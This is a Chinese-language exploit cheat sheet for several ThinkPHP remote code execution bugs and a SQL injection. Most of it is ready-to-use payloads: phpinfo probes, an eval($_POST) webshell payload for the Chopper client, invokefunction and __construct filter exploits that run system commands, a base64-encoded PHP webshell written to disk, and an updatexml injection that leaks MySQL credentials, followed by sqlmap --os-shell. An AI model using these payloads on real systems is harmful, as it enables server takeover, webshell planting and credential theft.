ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
index.php?s=/index/index/name/${@phpinfo()}
菜刀连接payload:
/index/index/name/${@print%28eval%28$_POST[1]%29%29}
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
vars[0]用来接收函数名,vars[1][]用来接收参数
如:
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
会在屏幕上打出123和我们输入的字符串长度
写入shell
使用file_put_contents函数写入shell
vars[0]=file_put_contents&vars[1][]=shell.php$vars[1][]=
使用system执行系统命令写入shell
vars[0]=system&vars[1][]=echo%20"">>test.php
/index.php?s=captcha
POST data为:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
写入shell:
注意在linux命令行中$开头的会被当成参数给去除了因此需要在$前面加上\
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "" >> test.php
或者使用base64加密的方法对其进行加密再解密写入到文件中
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pPz4="|base64 -d >> 123.php
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
这个sql注入能够出现debug页面,会导致一些敏感信息泄露,如这里就出现了mysql的用户名密码,如果对方的mysql开启了外连的话我们可以使用sqlmap的–os-shell进行交互式的shell获取,然后使用后渗透工具进行后续的操作。